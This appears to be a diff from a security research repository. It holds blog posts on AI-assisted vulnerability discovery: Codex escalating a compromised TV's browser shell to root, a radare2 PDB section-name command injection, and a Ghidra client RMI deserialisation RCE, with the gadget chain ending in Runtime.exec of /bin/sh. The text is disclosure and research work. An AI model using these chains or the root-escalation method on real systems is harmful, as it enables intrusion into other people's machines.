bro can you just like, send it to the server, build it, and use the tmux shell to pull it down and run it for me? Why *** do you tell me to do *** bro, that's your job
bro. the <IP address> is not the TV, it is where the shell lives
bro. what *** you did man? the tv froze
Bro what did you do before you just replicate it now? why so hard?
```
Honestly, this makes it even more realistic than we thought. At times, it was a one-shot success, and at other times, you really need to build that real interaction with Codex. This couldn't have completed if we were treating it like a soulless bug finding and exploit developing machine!
## Conclusion
What made the session worth documenting was the shape of the loop itself. We set up a control path into a compromised TV, gave it the matching source tree and a way to build and stage code, and from there the work became a repeated cycle of inspection, testing, adjustment, and rerun until the browser foothold turned into root on the device.
This experiment is part of a larger exercise. The browser shell wasn't magically obtained by Codex. We had already exploited the device to get that initial foothold. The goal here was narrower: given a realistic post-exploitation position, could AI take it all the way to root?
The next step is obvious (and slightly concerning): let the AI do the whole thing end-to-end. Hopefully it'll stay trapped inside the TV forever, quietly escalating privileges and watching our sitcoms.
## Artifacts
### Full report
- [`writeup.md`](writeup.md) — the standalone technical report Codex produced at the end of the session: full chain from browser shell to root, with the `ntksys` physmap primitive, `cred` scan strategy, and reliability notes.
### Exploit code
- [`exploit/ntkhdma_leak.c`](exploit/ntkhdma_leak.c) — calls `KER_HDMA_IO_GET_BUFF_ADDR` on `/dev/ntkhdma` to leak a known-good physical address.
- [`exploit/ntksys_physmap.c`](exploit/ntksys_physmap.c) — validates the `ntksys` `SET_MEM_INFO` + `mmap` primitive against the leaked HDMA page (the `0x41414141` readback PoC).
- [`exploit/t5300_kernel_rw_chain.c`](exploit/t5300_kernel_rw_chain.c) — the final chain: scans the `/proc/cmdline`-derived RAM windows for the browser `cred` structure, zeroes the identity fields, and spawns `/bin/sh` as root.
- [`exploit/rmem.py`](exploit/rmem.py) — controller-side helper for staging and running the above through the `tmux`/`memfd` path.
### Vendor source
- [`sources/ker_sys.h`](sources/ker_sys.h) — `ST_SYS_MEM_INFO` and the `KER_SYS_IOC_SET_MEM_INFO` ioctl definition.
- [`sources/ker_sys.c`](sources/ker_sys.c) — the vulnerable `SET_MEM_INFO` write path (~line 1158) and the unchecked `vk_remap_pfn_range` map path (~line 1539).
- [`sources/ker_hdma.c`](sources/ker_hdma.c) — the `KER_HDMA_IO_GET_BUFF_ADDR` handler that leaks `gu32HDMAMemPhysAddr`.
+6 -97
View File
@@ -1,102 +1,11 @@
# MAD Bugs: All Your Reverse Engineering Tools Are Belong to US
> **Subtitle:** Ghidra, IDA Pro, radare2, and Binary Ninja Sidekick. If your tool doesn't show up here, it's not cool enough. Contact us for a free RCE.
RCE chains in Ghidra, IDA Pro, radare2, and Binary Ninja Sidekick. The Ghidra and radare2 details have detailed write-ups in their own directories: [`ghidra-rmi-rce/`](../ghidra-rmi-rce) and [`radare2-pdb-section-rce/`](../radare2-pdb-section-rce). IDA Pro and Binary Ninja Sidekick are still under embargo.
Two weeks ago we told you about how we used AI to find a [radare2 0-day](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero), and the day after that, an [auth bypass in NSA's Ghidra Server](https://blog.calif.io/p/mad-bugs-claude-found-an-auth-bypass) that has been hiding in plain sight since 2019.
| File | What |
|---|---|
| [`blog.md`](blog.md) | Blog post (written by humans) |
Some of you were, understandably, skeptical and unimpressed. Maybe AI got lucky.
## A note on the artifacts
So here are four more. All arbitrary code execution, all in the tools you actually use, all discovered with Claude or Codex. And if this still doesn't move you, well, it's OK. Denial is coping, we've been there.
| Target | Status | Bug |
|---|---|---|
| **IDA Pro** | Embargoed | |
| **Binary Ninja Sidekick** | Embargoed | |
| **radare2** | [Fixed upstream](https://github.com/radareorg/radare2/issues/25752) | PDB section-header command injection (survives the #25731 fix) |
| **Ghidra** | Reported, details below | RMI deserialisation RCE via novel Jython 2.7.4 gadget |
## IDA Pro & Binary Ninja Sidekick
These two are under disclosure with Hex-Rays and Vector 35 respectively. We'll publish full details, PoCs, and our prompt logs when the embargoes lift.
What we *can* say:
- Both are arbitrary code execution.
- Both trigger on the normal "open the thing someone sent you" workflow.
https://youtu.be/WxWw4dSxMCQ
https://youtu.be/u2QaSAySqjw
## radare2
When we [reported the first radare2 PDB injection](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero), the fix landed the same day: base64-encode the symbol name before interpolating it into the `fN` command.
Except `print_gvars()` interpolates *two* attacker-controlled fields into RAD-mode output, and the fix only touched one of them. Four lines above the patched `fN` line, the raw 8-byte PE **section header name** still goes into the `f` command via `%.*s` with no sanitization at all:
```c
pdb->cb_printf ("f pdb.%s = 0x%" PFMT64x " # %d %.*s\n",
filtered_name, ..., PDB_SIZEOF_SECTION_NAME,
sctn_header->name); // <-- still raw from the binary
```
Stick a `\n` in the section name and the `#` comment ends; whatever follows is a fresh r2 command. The catch is you only get 7 bytes per line — but a [HITCON CTF 2017 "BabyFirst Revenge"](https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge)-style stager turns 7-byte writes into arbitrary-length `sh` execution. Two days after the first report, [#25752](https://github.com/radareorg/radare2/issues/25752) went in and was fixed immediately.
The radare2 team turns around fixes faster than anyone else in this post. However, **incomplete fixes are a bug class of their own**, and AI is unreasonably good at finding them. It read the patch for #25731, asked "what *else* gets interpolated here?", and had a working PoC before we'd finished debating the merit of AI vulnerability research on X.
PoC video: https://www.youtube.com/watch?v=W7Jnp9AH-OU
[Full writeup + `poc.py` →](https://github.com/califio/publications/tree/main/MADBugs/radare2-pdb-section-rce)
## Ghidra
This is NSA's tool, open-sourced in 2019, and now the default free reverse-engineering suite for most of the malware analysts, CTF players, and embedded reverse engineers who aren't paying for IDA.
This is also the one we want to spend time on, because the bug is simple but the exploit is genuinely fun.
### The bug, in three sentences
Ghidra Server installs an `ObjectInputFilter` allow-list at startup so a malicious *client* can't send it deserialisation gadgets. The Ghidra *client* installs no such filter, so a malicious *server* can send the client whatever it wants. And opening a `.gpr` project file silently connects to whatever `ghidra://` URL is sitting in its `projectState` XML — no prompt, no URL shown, nothing.
So: hand someone a Ghidra project, they double-click it, your server answers the very first RMI call (`reg.list()`, before any auth handshake) with a gadget chain instead of a `String[]`, and `Runtime.exec()` fires on their box.
```java
// ServerConnectTask.java — first thing the client does
Registry reg = LocateRegistry.getRegistry(server.getServerName(),
server.getPortNumber(), new SslRMIClientSocketFactory());
checkServerBindNames(reg); // → reg.list() → readObject() with NO filter
```
"Java RMI deserialisation" usually means "go grab a chain from ysoserial." However, the only fat jar on the default Ghidra client classpath is `jython-standalone-2.7.4.jar`, and Jython 2.7.4 specifically patched the classic ysoserial `Jython1` chain by adding a `readResolve()` tripwire to `PyFunction`.
So we asked AI to go looking for another `Serializable` + `InvocationHandler` in the same jar, and found one the Jython devs missed: **`org.python.core.PyMethod`**. The chain wires `PyMethod.__func__` to the package-private `BuiltinFunctions` table at `index=18` — which is `__builtin__.eval` — and feeds it a `PyBytecode` object. `PyBytecode` is Jython's *CPython 2.7 opcode interpreter*, and serialises cleanly. The payload is **21 bytes of CPython bytecode** that pulls `java.lang.Runtime` out of `co_consts` and calls `exec`.
```
PriorityQueue.readObject
└─ siftDownUsingComparator
└─ Proxy(Comparator).compare ← PyMethod is the InvocationHandler
└─ PyMethod.__call__
└─ BuiltinFunctions[18] ← __builtin__.eval
└─ eval(PyBytecode, g, l)
└─ CPython 2.7 interpreter
└─ Runtime.getRuntime().exec({"/bin/sh","-c",CMD})
```
A Java deserialisation chain that bottoms out in a Python bytecode VM. We think that's a first.
The victim sees one error dialog *after* the calculator has already popped — `PySingleton cannot be cast to Integer`, which is just `PriorityQueue` being confused about what it got back. By then it doesn't matter.
PoC video: youtube.com/watch?v=KXFTbr43HQo
This one took real work. Building the gadget, hand-writing an SSL-wrapped JRMP responder that lies on `reg.list()`, getting the project skeleton to pass `isOwner`. The kind of thing that would normally eat a researcher-week. AI did the gadget search, the bytecode assembly, and the JRMP protocol speaking; we did the swearing at Docker.
[Full writeup →](https://github.com/califio/publications/tree/main/MADBugs/ghidra-rmi-rce)
This affects every Ghidra release ≥ 9.1. The fix is the obvious one: install the same serial filter on the client that already ships for the server. We've sent a patch.
And yes, we're aware we just dropped a 0-day on an NSA product (again!). Relax, disclosure cops. taviso is in the house.
Also, if the NSA is half as good at this as everyone says, they already knew. We're just bringing the rest of you up to speed.
---
*The MAD Bugs series runs through April 2026. Full index at [blog.calif.io/t/madbugs](https://blog.calif.io/t/madbugs) and [github.com/califio/publications](https://github.com/califio/publications/tree/main/MADBugs).*
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+102
View File
@@ -0,0 +1,102 @@
# MAD Bugs: All Your Reverse Engineering Tools Are Belong to US
> **Subtitle:** Ghidra, IDA Pro, radare2, and Binary Ninja Sidekick. If your tool doesn't show up here, it's not cool enough. Contact us for a free RCE.
Two weeks ago we told you about how we used AI to find a [radare2 0-day](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero), and the day after that, an [auth bypass in NSA's Ghidra Server](https://blog.calif.io/p/mad-bugs-claude-found-an-auth-bypass) that has been hiding in plain sight since 2019.
Some of you were, understandably, skeptical and unimpressed. Maybe AI got lucky.
So here are four more. All arbitrary code execution, all in the tools you actually use, all discovered with Claude or Codex. And if this still doesn't move you, well, it's OK. Denial is coping, we've been there.
| Target | Status | Bug |
|---|---|---|
| **IDA Pro** | Embargoed | |
| **Binary Ninja Sidekick** | Embargoed | |
| **radare2** | [Fixed upstream](https://github.com/radareorg/radare2/issues/25752) | PDB section-header command injection (survives the #25731 fix) |
| **Ghidra** | Reported, details below | RMI deserialisation RCE via novel Jython 2.7.4 gadget |
## IDA Pro & Binary Ninja Sidekick
These two are under disclosure with Hex-Rays and Vector 35 respectively. We'll publish full details, PoCs, and our prompt logs when the embargoes lift.
What we *can* say:
- Both are arbitrary code execution.
- Both trigger on the normal "open the thing someone sent you" workflow.
https://youtu.be/WxWw4dSxMCQ
https://youtu.be/u2QaSAySqjw
## radare2
When we [reported the first radare2 PDB injection](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero), the fix landed the same day: base64-encode the symbol name before interpolating it into the `fN` command.
Except `print_gvars()` interpolates *two* attacker-controlled fields into RAD-mode output, and the fix only touched one of them. Four lines above the patched `fN` line, the raw 8-byte PE **section header name** still goes into the `f` command via `%.*s` with no sanitization at all:
```c
pdb->cb_printf ("f pdb.%s = 0x%" PFMT64x " # %d %.*s\n",
filtered_name, ..., PDB_SIZEOF_SECTION_NAME,
sctn_header->name); // <-- still raw from the binary
```
Stick a `\n` in the section name and the `#` comment ends; whatever follows is a fresh r2 command. The catch is you only get 7 bytes per line — but a [HITCON CTF 2017 "BabyFirst Revenge"](https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge)-style stager turns 7-byte writes into arbitrary-length `sh` execution. Two days after the first report, [#25752](https://github.com/radareorg/radare2/issues/25752) went in and was fixed immediately.
The radare2 team turns around fixes faster than anyone else in this post. However, **incomplete fixes are a bug class of their own**, and AI is unreasonably good at finding them. It read the patch for #25731, asked "what *else* gets interpolated here?", and had a working PoC before we'd finished debating the merit of AI vulnerability research on X.
PoC video: https://www.youtube.com/watch?v=W7Jnp9AH-OU
[Full writeup + `poc.py` →](https://github.com/califio/publications/tree/main/MADBugs/radare2-pdb-section-rce)
## Ghidra
This is NSA's tool, open-sourced in 2019, and now the default free reverse-engineering suite for most of the malware analysts, CTF players, and embedded reverse engineers who aren't paying for IDA.
This is also the one we want to spend time on, because the bug is simple but the exploit is genuinely fun.
### The bug, in three sentences
Ghidra Server installs an `ObjectInputFilter` allow-list at startup so a malicious *client* can't send it deserialisation gadgets. The Ghidra *client* installs no such filter, so a malicious *server* can send the client whatever it wants. And opening a `.gpr` project file silently connects to whatever `ghidra://` URL is sitting in its `projectState` XML — no prompt, no URL shown, nothing.
So: hand someone a Ghidra project, they double-click it, your server answers the very first RMI call (`reg.list()`, before any auth handshake) with a gadget chain instead of a `String[]`, and `Runtime.exec()` fires on their box.
```java
// ServerConnectTask.java — first thing the client does
Registry reg = LocateRegistry.getRegistry(server.getServerName(),
server.getPortNumber(), new SslRMIClientSocketFactory());
checkServerBindNames(reg); // → reg.list() → readObject() with NO filter
```
"Java RMI deserialisation" usually means "go grab a chain from ysoserial." However, the only fat jar on the default Ghidra client classpath is `jython-standalone-2.7.4.jar`, and Jython 2.7.4 specifically patched the classic ysoserial `Jython1` chain by adding a `readResolve()` tripwire to `PyFunction`.
So we asked AI to go looking for another `Serializable` + `InvocationHandler` in the same jar, and found one the Jython devs missed: **`org.python.core.PyMethod`**. The chain wires `PyMethod.__func__` to the package-private `BuiltinFunctions` table at `index=18` — which is `__builtin__.eval` — and feeds it a `PyBytecode` object. `PyBytecode` is Jython's *CPython 2.7 opcode interpreter*, and serialises cleanly. The payload is **21 bytes of CPython bytecode** that pulls `java.lang.Runtime` out of `co_consts` and calls `exec`.
```
PriorityQueue.readObject
└─ siftDownUsingComparator
└─ Proxy(Comparator).compare ← PyMethod is the InvocationHandler
└─ PyMethod.__call__
└─ BuiltinFunctions[18] ← __builtin__.eval
└─ eval(PyBytecode, g, l)
└─ CPython 2.7 interpreter
└─ Runtime.getRuntime().exec({"/bin/sh","-c",CMD})
```
A Java deserialisation chain that bottoms out in a Python bytecode VM. We think that's a first.
The victim sees one error dialog *after* the calculator has already popped — `PySingleton cannot be cast to Integer`, which is just `PriorityQueue` being confused about what it got back. By then it doesn't matter.
PoC video: youtube.com/watch?v=KXFTbr43HQo
This one took real work. Building the gadget, hand-writing an SSL-wrapped JRMP responder that lies on `reg.list()`, getting the project skeleton to pass `isOwner`. The kind of thing that would normally eat a researcher-week. AI did the gadget search, the bytecode assembly, and the JRMP protocol speaking; we did the swearing at Docker.
[Full writeup →](https://github.com/califio/publications/tree/main/MADBugs/ghidra-rmi-rce)
This affects every Ghidra release ≥ 9.1. The fix is the obvious one: install the same serial filter on the client that already ships for the server. We've sent a patch.
And yes, we're aware we just dropped a 0-day on an NSA product (again!). Relax, disclosure cops. taviso is in the house.
Also, if the NSA is half as good at this as everyone says, they already knew. We're just bringing the rest of you up to speed.
---
*The MAD Bugs series runs through April 2026. Full index at [blog.calif.io/t/madbugs](https://blog.calif.io/t/madbugs) and [github.com/califio/publications](https://github.com/califio/publications/tree/main/MADBugs).*
+15
View File
@@ -0,0 +1,15 @@
# MAD Bugs: Vim vs. Emacs vs. Claude
Two unrelated RCE classes found by Claude in the editor wars: a Vim modeline RCE and multiple file-open RCE vectors in GNU Emacs.
| File | What |
|---|---|
| [`vim.md`](vim.md) | Vim tabpanel modeline RCE (Vim < 9.2.0272) |
| [`Emacs.md`](Emacs.md) | GNU Emacs: multiple RCE vectors on file open |
| [`emacs-poc.tgz`](emacs-poc.tgz) | Emacs PoC archive |
| [`vim-claude-prompts.txt`](vim-claude-prompts.txt) | Prompt log (Vim) |
| [`emacs-claude-prompts.txt`](emacs-claude-prompts.txt) | Prompt log (Emacs) |
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.